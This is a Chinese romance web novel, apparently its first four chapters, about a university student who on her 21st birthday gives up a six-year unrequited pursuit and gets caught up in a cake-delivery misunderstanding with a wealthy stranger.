《他爱起来太甜》
1. 第 1 章
第一章
肖瑜失恋了,在二十一岁生日这天。
更确切地说,是单恋结束了。
六年未果。
从高中时候的暗恋,到大学里明打明高调的追求。追得紧了,姜昊就逃,逃得让她找不到。有时候肖瑜也会试着冷静一段,不那么激进,参加社团活动,兼职写作的时间多一点,可这个时候,又总会偶遇姜昊,让她再度开始怀疑他就是她的命中注定,继而还没彻底熄灭的热情,星火燎原般噌得又燃烧起来。
周而复始。
可今天,是她二十一岁生日。初雪的降临,让她晨起时就虔诚地祈祷,可以在最后一次的表白里,开始她真正的初恋。
她推却了室友为她庆祝的邀请,收到了来自父母跟哥哥的红包和惦念,甚至连聊熟的读者都在文下给她发了数条祝福。可答应了要陪她庆生的姜昊,毫无动静。
肖瑜提着生日蛋糕走出商场,在公交站牌下的长凳上安静地坐了一个小时,随后拍了拍肩头的雪,起身坐上了车。
*
因为前方突发交通事故,公交车在康健医院站就停了下来。
肖瑜百无聊赖地拿出手机,看了眼依旧静悄悄的置顶联系人,取消了置顶,随后点开摇一摇,晃了晃手机。
几乎同一时间,有陌生人申请加入微信好友,打招呼的内容十分奇葩:【送M家黑森林蛋糕到康健医院VIP008病房,半小时内奖励现金2000,一小时内奖励现金1000。】
那人的名字更奇葩:【我是我哥的妹妹】。
肖瑜低头看了看自己手中的蛋糕。
M家,姜昊最喜欢的黑森林。
有那么一瞬,她又有一种被缘份击中的感觉,就像高中入学第一天,姜昊逆着光从教室门口进来,双手插兜、肩上松垮垮吊着书包,径直走向坐在门口第一个课桌前的她,敲着桌子对她笑,“小鱼儿,这么巧?坐里面点。”
只不过这次,对方似乎是个女孩子,而且,还是个有病的女孩子。
*
简单评估了安全风险后,肖瑜在收到消息之后的第二十一分钟,站在了康健医院VIP008房间的门口。
这里的安保很严格,进大门要登记证件信息,上VIP楼病房电梯还要再次出示证件。所幸她身份证、学生证和饭卡一应俱全,看起来又乖巧单纯,不管是门口的保卫,还是电梯楼的女服务生,都没有为难她。
可在门口时,肖瑜还是犹豫了一下,对自己的一时冲动有点脸热。
摇一摇的功能,她第一次用,之前看到姜昊这么玩,她总是觉得很别扭。
完全不认识的陌生人,通过社交软件有了联系,甚至线下见面,这些都是她在写小说时才会想象出的狗血剧情。而现实生活中,她对于跟陌生人交往一直心中存疑。
就像眼前。
手机里的微信头像,是捧含苞待放的黄玫瑰,可黄玫瑰后面的脸,或许其实是个满脸胡茬子的啤酒肚大叔呢?
肖瑜犹豫了两分钟,还是决定转身离开。只是脚尖刚刚转了向,迎面一道清润的嗓音,让她尴尬地顿在了原地。
“这么快送来了?”男人低头看了眼腕表,很自然地就伸手过来从她手上接过蛋糕,还毫不吝啬地给了她一个俊逸的笑,“谢谢,辛苦了。”
“……”肖瑜见他提了蛋糕就走,还伸手准备拉开病房玻璃门,她愣了一下,连忙跟上一步说道,“那个,你还没给钱。”
M家的蛋糕可不便宜。就算不要所谓的2000块,也不能白给。
男人的脚步顿住,转身疑惑地皱了眉,“不是线上支付过了吗?”
肖瑜连忙低头拿出手机,可静悄悄的对话框里,根本没有转账记录。
她抬头将男人从头到脚打量了一遍。
清爽的发型,俊朗的五官,虽然年纪有点大,可气质属于很干净的矜贵系,并不像会发出那种摇一摇信息的跳脱男人。黑灰色羊绒衫和西裤质地优良,磨砂皮的鞋子也一眼就看得出舒适且价值不菲,想不到竟然是个会骗人蛋糕的斯文败类。
想起他的微信名和微信头像,肖瑜忍不住撇了下嘴,眼睛看向他手中提着的蛋糕,“没收到。这是生日款,680,不含配送费。”
“呵。”男人也不易察觉地撇了下唇角,低头从裤兜里抽出皮夹子,因为一手还提着蛋糕,有点费劲儿地抽出两张红票子,递给她,“谢谢。”
他说完,见她还是站在原地皱眉看着他,他似乎强忍不耐地上前一步,把钱塞进了她大衣的口袋里,继而折身,径直拉开玻璃门走了进去。
肖瑜深深吸了一口气,吐出来,转过身,慢吞吞走向电梯。
【我是我哥的妹妹】
想起那个腻歪的微信名,她抖了一下,出了一身的鸡皮疙瘩。
*
“哈哈,这么搞笑的吗?一个老男人,昵称居然是妹妹?这货肯定是个万年受。”寝室里,肖瑜的好友兼室友燕北北乐不可支,追问道,“那后来呢?才给了二百块,不说好了两千吗?这下连本钱都亏了。”
“说不定是个变态,我可不想跟他纠缠。”肖瑜喝口奶茶,很有点后怕地说道,“以后我再也不敢摇一摇了,第一次摇就摇出来这么个……反正我也不喜欢黑森林口味的,就当喂狗了。”
“姜昊又拒绝你了啊?”燕北北瞅着她,有点无奈,“你说你吧,长得挺漂亮的,也不是没人追,怎么就对他那么死心塌地的?虽然姜昊也确实帅,可他这种痞帅类的,本来就招人,还不是个专情的主,你就是把他追到手了,也难长久,图什么呢?”
“我不追了。”肖瑜捧着脸,嘴里咬着奶茶的吸管,眼睛透过窗,看向渐渐大起来的落雪,“今天本来是最后一次告白,虽然没有机会讲,其实结果也是一样的。”
她的声音很轻,就像窗外的落雪,飘飘悠悠的。
燕北北白了她一眼,也凑在她身侧的椅子上,一起看着雪,取笑道,“信你有鬼。哪回不是最后一次啊?别伤心了,晚上咱俩去吃小火锅啊?生日快乐。”
肖瑜笑了一下,嘴角漾起两个浅浅的酒坑儿,“北北,我哥已经帮我联系到实习单位了,过完寒假就可以开始。”
“是哪里啊?”燕北北登时就被转移了注意力,很羡慕地说道,“之前招聘会上我也投过不少简历,可五百强竞争实在太激
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烈了。”
“不是五百强,是家很普通的公司。华驰轮胎。”肖瑜拿出手机,点开肖帅发给她的公司简介,给燕北北看,“是我哥店里的供应商,据说福利待遇还不错。我只想有个清闲点的工作,有多余的时间来写作。”
“华驰可不是普通的公司,起死回生后,那财报可是被当做范本来讲的。”燕北北一听,更羡慕了,眼睛晶晶亮地看着她,有点不好意思地问道,“亲爱的,我知道友情不应该夹杂其他成分的。可是……”
肖瑜也看向她,挑了下眉,“你确定?这可不是五百强哦,实习工资也不高的。”
“实习而已,重要的是有可以留在泽城的机会。”燕北北很认真地答道,继而咬着嘴巴期待地看着她。
肖瑜笑着摇了摇头,给肖帅拨电话,“哥哥,我决定了,就去华驰实习吧。你还记得北北吗?国庆跟我一起回去玩的好朋友,我们俩想在一个地方实习,冬冬姐那边能再帮下忙吗?”
“让她把简历发过去。”肖帅应得很爽快,继而问道,“怎么没见你朋友圈发生日会照片啊?你不是说今天会跟同学一起庆祝吗?”
“晚上庆祝。”肖瑜敷衍地应了一句,忽然说道,“哥哥,寒假,你来接我回家好吗?”
肖帅那边沉默了一瞬,“怎么了小鱼儿,不开心?”
“没有。”肖瑜咬了下嘴巴,眼睛看着窗,挤出一个笑,“我就是……过生日,突然很想你和爸爸妈妈。”
肖帅舒了口气,笑道,“没关系,回来也就几个小时的事儿。要不我明天过去看你?”
“不要了,还有几天就放假了。”肖瑜连忙摇头,“你来接我的时候,带点妈妈做的饼干给我路上吃好吗?”
“呵,真是想我们了啊?”肖帅笑意更明显,连声应道,“行,忘不了。晚上我跟爸也要带妈出去吃饭,纪念她的受难日。我会跟妈说,让她给你多做点饼干,寒假回来把你喂成个小胖子。”
放下电话,燕北北眼里的羡慕更甚,“你哥对你是真的亲啊,可不像我弟,一天天地就知道气我,隔几天不打就上房揭瓦。”
“小时候我哥也老收拾我的。”肖瑜笑了笑,看一眼手机上的时间,推了推燕北北,“换衣服出去吃饭吧,我中午也没吃。待会儿你请客哦。”
“那肯定的,肖老板连实习都帮我安排了,我还能不代他请妹妹吃饭庆个生啊?”
*
缘份这个东西,真的很奇妙。
想念一个人的时候,想得心尖尖都是疼的,也不一定见的到。可不想了,以为就这样结束了,冷不丁这人又会从哪儿冒出来,再往麻木的心尖上给你刺一刀子。
肖瑜和燕北北一人一口小火锅,吃得欢聊得欢,额头冒汗,嘴唇也被辣得红嘟嘟。
她俩正聊起来肖瑜文下最新的几个搞笑评论,燕北北随意扫了眼正被服务员往这边领的几个男男女女,脸色微变。
三男三女,一路走过来还聊得火热,笑语不断。其中一个男孩子笑得很淡,却痞帅味十足,是十分抢眼的存在。
肖瑜顺着她的目光回头看了一眼,那男孩子也下意识朝她看了一眼。
是姜昊。
2. 第 2 章
第二章
四目相对,姜昊的笑意一滞,突然皱了眉。
而肖瑜朝他点了下头,回过头来夹起黑毛肚,边在锅里涮,边笑望着燕北北,数数,“一,二,三,四,五,六,七,八……叮!”
仿佛微波炉定时器响,随着那声带着笑意的’叮’,肖瑜挑起黑毛肚就往嘴里塞,却被烫得眼泪都流出来了,“啊,好烫!”
燕北北放下筷子。
她看着肖瑜伸手拿纸抽去沾眼角的泪,却没有再抬头多看姜昊一眼。不知为何这一幕竟让她的心揪了起来,她横眉冷冷看向隔了过道坐下来、又恢复了痞痞笑颜的姜昊,气得胸膛不住起伏。
“嗳!是肖瑜啊!还有燕北北。”
跟姜昊同行的两个男生陈楚和周小林,都是他的室友,自然知道这位是姜昊的狂热追求者,跟肖瑜她们寝室的也都很熟。
因着燕北北看过来的目光,周小林率先跟俩人打了招呼,跟着低声朝姜昊笑道,“你说你俩是真有缘啊。咱们来吃小火锅可是临时起意,她怎么还是追过来了?”
姜昊‘嘁’了一声,伸手打开点餐单,递给对面身着白色羊毛衫的女孩子,“你先。”
“是你的追求者啊?”女孩子叫王琳,她转头看了眼肖瑜和燕北北,把点餐单又传给了身侧的女孩子,支腮看着他笑,“你还真是受欢迎。哪一个?穿牛仔裤的?”
她说的是燕北北,牛仔裤和黑色卫衣,一脸的怒气。
姜昊没理她,拿出手机靠去了椅背,兀自翻看着,似乎在找什么东西。
王琳的脸色有些不太好看,却也没再多问,只是浅笑着又看向了陈楚。
陈楚坐在最里面,接收到王琳的目光,压低了声音笑道,“是那个穿裙子,看起来很乖也很漂亮的。看不出来吧?追得可厉害了。一周一封情书,雷打不动写了三年多,各种风格都有。姜昊生日,情人节,儿童节,甚至连双十一,反正各种节日,总是换着名目地送礼物送点心,连我们这群室友都被投喂得……”
“烦不烦。”姜昊啪一声把手机摁桌上,斜了陈楚一眼,“出来联谊,总提她做什么?”
“啧。急了。”陈楚忍不住揶揄地看他一眼,又转头朝王琳笑道,“这事儿你知道就行了,耗子最烦她了。”
王琳闻言笑了笑,下意识又转头看了眼邻桌那个穿着卡其色毛衫和半身裙的女孩子,她正笑着不知跟对面的女孩儿说什么,看起来丁点没有在意姜昊的样子,反倒是对面的女孩子一直神色不虞,忿忿难平。
*
“他又不是我男朋友,你别为我难过了。”肖瑜又涮了些黑毛肚,却在七上八下后,放进了燕北北的碗里,悄声劝她,“之前我可能是被下了蛊,现在清醒了。北北,你应该为我高兴才对。”
“我知道,可我就是为你不值啊。”燕北北是真的很难过,尤其刚才肖瑜拿被烫来遮掩泪水,她简直恨不得把姜昊踹两脚为她出气。可问题是,尽管有时候她明明觉得姜昊对肖瑜也是有点暧昧的,可肖瑜的确只是追求者,姜昊再花心,人也确实没点过头,算不得出轨,她也没理由为好友抱不平。
“没什么值不值的。”倒是肖瑜一直在劝慰她,好声好气的,“没人逼我,也没人威胁我,都是我自己选的,对得起自己就行了。北北,我们点点儿……”
她正想点一些冰饮,缓解一下过辣的唇舌。可手机响得很突兀,低头一看竟是舍管电话,肖瑜疑惑地皱了下眉,按了接听键,“赵阿姨?”
“209的肖瑜是吧?有人来给你送生日礼物,不让转交。你抓紧过来取一下。”
赵阿姨嗓门很大,连隔着过道的姜昊似乎都被她吵得皱了眉,燕北北更是听得一清二楚,疑惑地问道,“不是我们的同学?难道你哥哥来了?”
如果是同校的,赵阿姨绝对不会费这个事给她打电话,爱转交不转交,不转交直接赶走。除非是校外人士或者亲友,才能劳她大驾打这么一个电话。
肖瑜犹豫了一下,问道,“赵阿姨,是谁啊?我现在在外边吃饭呢,我……”
“吃什么饭啊,先过来拿……”赵阿姨刚喊了一句,却又顿了下,似乎捂住了话筒,隔了会,语气竟然客气了不少,“那什么,挺着急的还,那给你送过去吧。你在哪儿吃饭呢?”
肖瑜和燕北北的目光顿时都有点惊悚,肖瑜结结巴巴地应道,“大学城‘辣哭你’小火锅……”
“包间号呢?怎么找你啊?”
肖瑜低头看一眼桌上的号码,“不在包间,大厅111号。”
*
接下来的十几分钟里,肖瑜和燕北北是压根没分心去关注邻桌几人的笑谈。
能使唤赵阿姨那虎姑婆亲自把礼物给送过来,她俩都十分好奇到底对方是何方神圣。
肖瑜家是舟城的,虽说在当地也是家底丰厚,可在泽城却举目无亲。她当年选择这所大学,只因为这是姜昊的第一志愿。为此,父母和哥哥肖帅,都不是太乐意,生怕家里的宝贝在外会受委屈。可他们家一向又是十分开明宽容的氛围,尽管担心,也还是在物质上和精神上给予了她足够的支持,除了银行卡上的余额足足的,基本上每隔几个星期都会过来探望一下。
所以,会不会真的是肖帅过来了?可他们刚通过电话,作为哥哥,他也没必要这么给她惊喜吧?
*
隔了个过道,周小林他们,跟对面的几个女孩子聊得热火朝天。
姜昊虽然话不多,可唇角一直挂着淡淡的笑,甚至专门放下筷子,饭都不打算吃似的,拿手撑着半边脸,很认真地看着王琳听她说话。专注的眼神,搭着他有点痞又超正的颜,看得王琳心中小鹿乱撞。
*
终于有人提了蛋糕,拿了鲜花,径直朝肖瑜这桌走过来。
姜昊不易察觉地松了口气,收回视线朝王琳摆了下手,胃口大开地开始涮火锅,“就顾着看你了。我先吃点东西。”
一句话登时让王琳双颊绯红,陈楚和周小林他们也笑着打趣道,“啧,还得是耗子。开口即精华。”
姜昊笑了笑,懒得接话的样子,身子却稍稍往过道挪了挪。
*
“打扰了。您好,请问您是肖瑜,肖小姐吗?”
来人是一位身材高挑的女士,年纪不大,估计还不到三十岁,可优雅知性,语调柔和,完全是肖瑜和燕北北梦想中,工作之后可以成为的类型。
肖瑜连忙起身,满头雾水地点了点头,看向那盒眼熟的蛋糕,“您好。我,好像……不认识您?”
M家的黑森林。
她明明已经喂了
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狗。
“我是顾总的秘书。”来人似乎并不打算表明详细的身份,确认了是肖瑜后,便将鲜花递给她,又将蛋糕放在桌上,这才又从肘间的小拎包里拿出一个看起来很厚的红包,也放去了桌上,微笑着解释道,“中午跟您发生误会的,是我们顾总,我代他向您道歉。这个红包里,除了一开始说好的两千元,额外的部分,是顾总为了表达歉意,祝您生日快乐的。如果没有别的事情,我先告辞了。”
“……”肖瑜用三秒钟快速消化了一下信息,见这位秘书朝她点了下头便要转身,她连忙说道,“秘书,啊,您,请等一下。”
她低头拿起红包,被那看起来像是有上万的红票子惊了一下,拿指尖从里面抽了五百块,把剩下的红包和鲜花一起又递向了这位女秘书,“四百八就够了,可我没二十现金,就当给我快递费了。花我也不要。那个……”
她想了一下,还是说道,“是因为我当时登记的证件信息,你们才会找到我吗?”
女秘书待她说完,点了下头,并没有接花也没有接红包,只是很为难地看着她,“肖小姐。这些东西如果您不收,我没办法向顾总交代。”
“我说了,四百八就够了,我还多拿了二十。”肖瑜也很坚持,一直举着花束和红包,“我就希望您跟他说一声,钱该收的我已经收了,不管是不是误会,都已经扯平了。我已经把他拉黑了,以后也希望他能把这件事,还有我的证件信息彻底给忘了。行吗?”
女秘书微微蹙了下眉,语气已经没刚才那样客气,“肖小姐,您的话我会一字不落带回给顾总,但这些东西我是不会拿回去的。您不喜欢,可以扔掉,也可以送给别人。它们现在是属于你的,请自行处理。再见。”
“嗳!”肖瑜有点急,把花丢在桌上,一手拿着红包,一手去拉女秘书的胳膊,“你别走啊,这钱我不能要。”
“我说了,您不喜欢,可以扔掉。”女秘书瞥一眼被她握住的手臂,目光已十分不悦,“肖小姐,如果嫌少,您可以直说,我也会转告顾总的。请不要为难我,我只是在完成自己的工作。”
“我不是嫌少……”肖瑜简直欲哭无泪,松了手指见女秘书直接转身就走,她在后边握着红包,完全不知道该怎么办,却还是先喊了一句,“喂,那你转告他,钱我会上交学校的,让他以后千万别来骚扰我,不然我报警抓他。”
女秘书的脚步踉跄了一下,可也只是零点零一秒的事,继而保持着优雅的步调,缓缓走出了跟她气度格格不入的’辣哭你’火锅店。
*
邻桌几人,因着女秘书跟肖瑜的近距离拉扯,自然也看足了热闹。
可因为姜昊本人并没有开口问询的意思,另外几个人便也没多事,待女秘书走后,便再度进入了联谊状态,你来我往聊得情绪十分高亢。
王琳也依旧主导着跟姜昊之间的话题,见他不再涮菜,而是又靠在椅背上似笑非笑地看着她。她虽然被他直勾勾的目光看得有点羞,却也并不躲避,反而迎着他的视线,偶尔咬一下嘴唇,嗓音越发得柔软。
肖瑜并没有注意邻桌的情况。她坐回位置上,十分郁闷地盯着红包。
燕北北把那捧鲜花放去一边,也盯着红包,不解地问道,“她说的顾总,是不是就是那个骗你蛋糕的老男人?”
3. 第 3 章
第三章
“应该就是他吧。”肖瑜这才又把目光转向生日蛋糕,看了眼上边的黑森林标签,克制着不去看邻桌的方向,把蛋糕也放去桌子里头,挨着玫瑰花,继而纠结地说道,“别的都好说,这钱怎么个意思啊?他不会真的是个变态,以后要缠上我吧?”
就算对方真是个霸总,一时兴起摇一摇,想花两千块钱逗逗小姑娘,这她也勉强能理解。可突然又找上门来送花送蛋糕,还直接拿一万块钱出来砸她,手上还有她的学生证和身份证信息,万一真是个心存不轨的变态……
“再过几天就放假了。”燕北北也没有应付社会老男人的经验,只能安慰地拍了拍她的手,劝慰道,“最近呆在学校别出去,等放假回了家,过完年回来说不定老男人就把这事儿给忘了。或者……”她眼眸一亮,探过脑袋捂住嘴,悄声说道,“要不跟姜昊说说,让他最近……”
以前有男同学追肖瑜,她都会拿姜昊出来做挡箭牌,其实也是借机想跟他更进一步。而姜昊虽然没有正式点头当她男朋友,每每需要他做护花使者的时候,倒也从来不推辞。
用他的话说,这都是应该的。因为是老乡,是曾经的同桌,更是自小相识的邻居,答应过她家里会帮忙照顾她。
可这一次,肖瑜却摇了摇头,“我自己的事情,还是自己处理吧。北北,你吃饱了吗?我们早点回去吧,我不喜欢走夜路。”
*
“别骚扰她?还要报警抓我?”
偌大的落地窗前,肖瑜口中的‘老男人’正在做单臂俯卧撑,耳机里传来的话,让他一个气息不稳,差点把那张不到三十岁的俊脸埋进地毯。
他深呼吸一下起了身,拿过一边的毛巾擦着脖子,扯起唇角笑了笑,“好,我知道了。”
这个误会,似乎比他预料得深一些,走向也十分奇怪。
可无论如何,他已经以十分诚恳的姿态,支付了数倍的赔偿。何况对方本就是个陌生人,不可能跟他的生活再有交集,于情于理,都不需要再多做解释。
所以,无所谓。
*
七点多的冬夜,天已经黑透了。
临走的时候,肖瑜还很客气地跟邻桌众人道了个别,没有专门跟姜昊说话,甚至目光都没单独在他身上顿一下。
蛋糕和花束也都留在了桌上。变态老男人送来的东西,肖瑜可不敢碰。
毕竟网络如今这么发达,许多的案例血淋淋摆在眼前,再加上父母和兄长在她第一天离家上大学时,就一遍遍告诫她注意安全,万事小心,交友慎重。她今天心碎之下,已经作出了摇一摇、见陌生人这种很出格的行为,直接就应验了父母的担忧,给自己招来了麻烦,往后的日子,只会更为谨慎。
其实,她真的一直都是个听话安分的女孩子,今天之前唯一的出格行为,就是对姜昊的迷恋。
可如今,连这份迷恋也以失败告终。所以,她真的只适合中规中矩。
不过虽然东西没带回去,肖瑜还是在临走前把蛋糕鲜花和小火锅放一起,跟燕北北二人呲着牙拍了张比心照,打算稍后发在朋友圈给家人看。
*
“小鱼儿今天很硬气啊。”
肖瑜和燕北北刚裹了大衣走出火锅店,陈楚跟周小林便十分疑惑地对望一眼,继而看向姜昊,到底忍不住问道,“耗子,刚才那个真的是肖瑜?不可能啊,她怎么可能做到连看都不看你一眼的?”
姜昊闻言转头看了眼窗外的雪,答非所问地说道,“今天她生日。”
“怪不得呢!”周小林登时就明白了,他看一眼姜昊对面的王琳,十分感慨地说道,“追了那么久都没追上,过生日的时候却看到你面前坐着位美女,难怪失去斗志了。估计这会儿心都碎成渣渣了。”
“再心碎,隔天还不是斗志昂扬地又帮耗子打饭?”陈楚不以为然地笑了笑,朝一脸好奇的几个女孩子解释道,“她对耗子,那就跟被人下了降头似的,我还真没见过女孩子里有这么执着的。再冷的脸,都贴的上来。”
他俩说着,姜昊并没接话,只是又拿起了手机,不停刷新微信朋友圈。
“她挺漂亮的,看起来也很乖,真看不出来会那么主动。”王琳看了眼似乎不再对自己兴趣浓厚的姜昊,曼声说道,“不过这样的女孩子其实挺受男生欢迎的。她平时应该也不少人追吧?刚才那位女秘书,好像就是在帮自己的老总追她?可说来说去都是钱,让人觉得怪怪的。”
她这话一出口,另外两个女孩子也都认同地点了下头,神色间都有几分不屑。而周小林和陈楚却相视一眼,有些不怎么自在。
果然一声凉凉的笑,从姜昊唇角溢出,他将视线从手机挪到王琳脸上,径直起身,居高临下俯视着她,眸中尽是鄙夷,“少以己度人,她可不是你这种类型。”
话说完,他压根不在乎王琳羞怒难当的神色,一边往外走,一边朝陈楚摇了下手机,“晚上不回来早点说,别又等到最后一秒。”
*
雪越下越大。
因是今年的初雪,校园里十分热闹,随处可见同学们一对对、一群群聚集在一起,仰着脸转着圈,哇哇叫着在落雪下拍照留念。尤其那些南方来的大一新生和南半球过来的留学生,第一次见到雪,就像发现了新大陆,有些过于兴奋的,直接在还只有薄薄一层的雪地上打起了滚。
肖瑜也很喜欢雪,可惜今天的心情不太美丽。但她还是让燕北北帮她拍了几张雪中咧嘴大笑的照片,有身后那些欢笑打闹做背景,显得十分喜庆。
蛋糕照和雪景照发去朋友圈,她给爸妈和哥哥晚上聚餐的照片也点了赞,又给妈妈单独打电话拉了几句家常,这才洗了澡打开笔记本坐进被窝,挂上耳机开始更新网文。
肖瑜会成为兼职网文作者,也是因为姜昊。起初她只是在室友的建议下,从网文里学习追求男生的手段。可看了无数狗血剧情,尝试了各种方法后,虽然还是没能虏获姜昊,却让她对写小说产生了浓厚的兴趣。
她不善社交,思维却天马行空,写作功底也很强,初高中时省市级作文竞赛中获奖无数。
现实中中规中矩的性格,从不影响她在网文里狗血又疯狂,唯一的短板,就是亲热戏。因为她对此毫无经验,从小说里学习到的那些,也从未真正尝试过。所以读者对她的文,赞情节,赞文笔,赞勤奋,独独觉得她写的男女肢体互动不够流畅,不够激烈,不够发乎情。
这一点,肖瑜也很苦恼。不过网文原本就是百花齐放,她不擅长写相守,却因为个人情感经历,在暗恋和暧昧拉扯类小说中,如鱼得水。连续两年写下来,居然在圈子里也收获了不小的人气,收入也十分可观。
她今晚要更新的内容,是个小高/潮。女主因为撞见男主跟前女友在湖边拥抱,一怒之下答应了男二的追求,带着他约了男主和前女友,在餐厅见面要说个明白。
几分钟之后便陷入文中的情绪,肖瑜打字打得热火朝天,她戴着耳机听不到,床帘子外边的两个室友,却都被她噼里啪啦的键盘声唬了一跳。
刘孜歆也刚洗完澡,擦了头发接过燕北北递来的热巧,瞥一眼肖瑜小猪佩奇的床帘子,悄声问道,“这是又被拒绝了?”
“更离谱,都没机会表白。”燕北北撇了下
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嘴,很无奈地说道,“我们刚才在吃小火锅,遇到姜昊了。他们寝室正跟外校几个女孩子联谊。”
“啊?”刘孜歆十分同情地又看了眼肖瑜的床位,也很无奈,“乖乖女是不是都喜欢渣男啊。我估计小鱼儿文里的男主,今天不会好过。”
“呵,肯定的啊。”说起肖瑜的小说,燕北北倒是笑出了声,又喝一口热巧,低头刷着朋友圈笑道,“她写文,男主代入的都是姜昊,这不在小说里把姜昊扒层皮才怪。”
肖瑜的男主确实不好过,被女主噼里啪啦抽了几个大耳刮子,还泼了一杯水,更是当着餐厅众人的面,被指着鼻子骂渣男,骂到哭得眼泪鼻涕齐飞。
所以当燕北北突然拉开床帘时,看到的就是肖瑜十分解气地敲着键盘,连抬头看向她时,都是一副倍儿爽的笑颜。
“把男主虐爽了?”燕北北好笑地看着她,犹豫了一下才又说道,“姜昊给你朋友圈点了赞,留了言。”
“啊?”肖瑜愣了一下,解气的舒坦也转瞬变成了惊愕。
姜昊会给她点赞不奇怪,可自打上了大学,他从未在她朋友圈留过言,仿佛生怕在相熟的圈子里,再跟她扯上丁点关系。
她连忙拿过被静了音的手机,这才发现他不仅在朋友圈里给她留了‘生日快乐’的祝福,半小时前,还单独给她发了微信:【下来。拿生日礼物。】
肖瑜的眼眶一下就热了,她很没出息地立即回复道:【对不起,刚才没看到信息。你还在吗?】
【嗯。】
*
眼瞅着肖瑜脸色红红裹上大衣,临出门前很是不好意思地看向了自己,燕北北无事人一样,很随意地交代道,“下着雪呢,早点上来别冻着啊。”
“嗯。”肖瑜这才喜笑颜开地掩上门,走廊里立刻响起奔跑的声响。
屋里,燕北北一改方才的淡定,满脸发愁地对刘孜歆说道,“她今天下午回来那会儿,简直是半死不活丢了半条命的样子。还很认真地跟我说,以后真的不追了。刚才在饭店遇上,也确实看都没多看姜昊一眼。可你看这……”
刘孜歆好笑地看着她,摇了摇头,“你可是她最好的朋友,难道还不了解她吗?全校人民都知道,肖瑜面对姜昊,就是那拍不死的小强,但凡姜昊看她一眼,就会摇着尾巴赶紧凑过去。人家甘之若饴,你操什么心呀?嗳,你跟赵师兄最近还行?怎么也没见你周末出去约会啊?”
“他们单位最近很忙。”提到自己的男朋友,燕北北一脸甜蜜地抿了口热巧,眼波流转,“过两天我准备悄悄去看他,给他一个惊喜。”
*
肖瑜去找姜昊,从来都是直接站在寝室楼下,生怕被他刻意避开,一个不小心错过了就找不到人。而姜昊来找她的时候,一直是在离寝室楼有些距离的那颗银杏树下等,从来不曾变过。因为肖瑜从来不会失他的约,也不会让他找不到。
全校人民的眼睛都是雪亮的。
肖瑜早上期待,中午失望,下午绝望,晚上更以为已经心死。可所有的负面情绪,在看到姜昊信息那一刻,都被心头翻涌的热浪冲得踪影全无。
姜昊像往常一样,松垮垮靠在树上,微微低着头,不知道是在单纯看雪地,还是在发呆。
他平时最喜欢把两只手都插在裤兜里,痞痞的,酷酷的。今天因为一只手上提了个大大的袋子,只有一只手闲下来丢在裤兜里,竟让肖瑜脸红心跳地想到了一个十分不符合姜昊个性的字,‘乖’。
许是她刚才跑得太急,即便距离姜昊还有几米远,她也放轻了脚步,压不住的喘息声还是引得姜昊抬了头,看着她渐渐蹙了眉。
4. 第 4 章
第四章
从上大学开始,不,具体应该说是,从她递给他第一封情书开始,姜昊便少有再给她笑脸,眉心倒是因为她,几年下来都快皱出了永久纹。
肖瑜眉开眼笑的五官,因他这一皱眉,登时便收敛许多,连忙快走几步来到他面前,明亮的眼眸里依旧是散不去的笑意,“你一直在这儿等我吗?”
雪还在下,软软的,柔柔的,落在她长长的睫毛上,随着她的呼吸微微颤动,别样的动人。
姜昊将视线从她脸上收回,从袋子里拿出一只橡皮粉的冬帽。
肖瑜开心地伸手去接,姜昊却是把袋子拎手递给了她,自己则微微低了头,拿起帽子在她头顶比了比,撑起边角,仔仔细细拿帽子扣住了她的整个脑袋,甚至,遮住了她半张脸。
肖瑜整个人都是懵的。
从他抬手拿帽子在她头上比划开始,她就处于不可置信的惊喜中。此刻姜昊的手还在她头上脸上不时调整帽子的位置,她觉得心脏都快要从身体里蹦出来,跳得又急又快又火热。
终于把帽子的位置摆正,姜昊后退小半步,很满意地欣赏着自己的杰作点点头,笑了笑,“真像佩奇。”
平时跟他在一起,肖瑜很爱说话,可此刻她却一个字都说不出来,因为心跳得太快,她连呼吸都没办法稳下来。只是睁大了眼睛,又惊,又喜,又呆滞,目不转睛望着他含笑的眸子。
她这般热情似火的眼神,似乎又惹烦了姜昊。他又皱了下眉,探手从她手中的袋子里摸东西。
姜昊是标准的一八五,肖瑜只有一六六。因为这俯身弯腰的动作,姜昊的脖子也低了下去,整张脸就杵在肖瑜的面前,不,是唇边。
肖瑜咽了下口水,视线顺着他高挺的鼻梁,滑向他干净的脸颊。她心一横,闭上眼就要噘嘴。
“低头。”
到嘴的脸又飞了。肖瑜十分气馁地睁开眼睛,抬头看向突然直起了身子的姜昊,咬了咬嘴巴,很听话地弯下了脖子。
凉丝丝的触感,似乎是一条精细的项链。
待姜昊费了半天的劲儿为她扣好项链,他掌心的余温还留在她的颈间,久久未散。
“谢谢。我很喜欢。”肖瑜看不清坠子的模样,可指尖的触感告诉她,那是一条小鱼,小鱼儿。
她心里甜甜的,也酸酸的,虽然笑得很开心,可眼中又有点热有点酸,再次目不转睛望着心尖尖上这人,鼓足了勇气,“你……可以做我男朋友吗?”
她问得很小心,比以往更要小心翼翼。可她又比以往更期待,因为觉得今天的他有些不一样,似乎终于因她的坚持不懈,有了一丝松动。
今天的姜昊,确实有点不太一样,他没有同往常一样,十分厌烦地拿大手捂她上的脸,很不耐地说,‘要跟你说多少遍,我大学不想谈朋友。’
他只是微微蹙了眉,叹口气,问她,“为什么一定要做你男朋友?如果你别总是这么问,我们在一起会处得更开心。”
豆大的泪珠,不争气地顺着脸颊砸落雪地,更像是一锤一锤重重砸在肖瑜的胸口。她狠狠咬了咬嘴巴,任那些泪水模糊了视线,哽咽地问道,“你不喜欢我,为什么又这么对我?”
“怎么对你?”姜昊眉心蹙得更紧,他伸手去抹她脸上的泪水,却越抹越多,越抹惹得她越发哭得停不住,整个人都开始颤抖。他抿了下唇,干脆放下手不去管她,转头看向别处,“你过生日,我送你礼物。我只是想好好跟你做朋友,我们一起开心地玩,好好地相处,帮你家里照顾好你。你为什么非要逼我做什么男朋友?那跟现在有什么不一样吗?”
“当然不一样!”最后一次告白带来的绝望,彻底击溃了肖瑜,她歇斯底里地哭着喊道,“男朋友,不会随随便便就去跟别的女孩子见面约会,让我伤心。不会随随便便就消失不见,让我找不到。我可以吻他,可以抱他,开心不开心的事都可以跟他分享,可以跟他一起面对一切,我知道他是我的,我是他的,我不用天天都怕会突然失去他!”
距离寝室楼关闭的时间,还有不到一个小时。陆陆续续有周末在外的女生回来,因肖瑜的哭喊放缓了脚步,看向这边。有胆子大点不怕事儿的,甚至还走近一些,生怕八卦听得不够仔细。
“我做不到。”
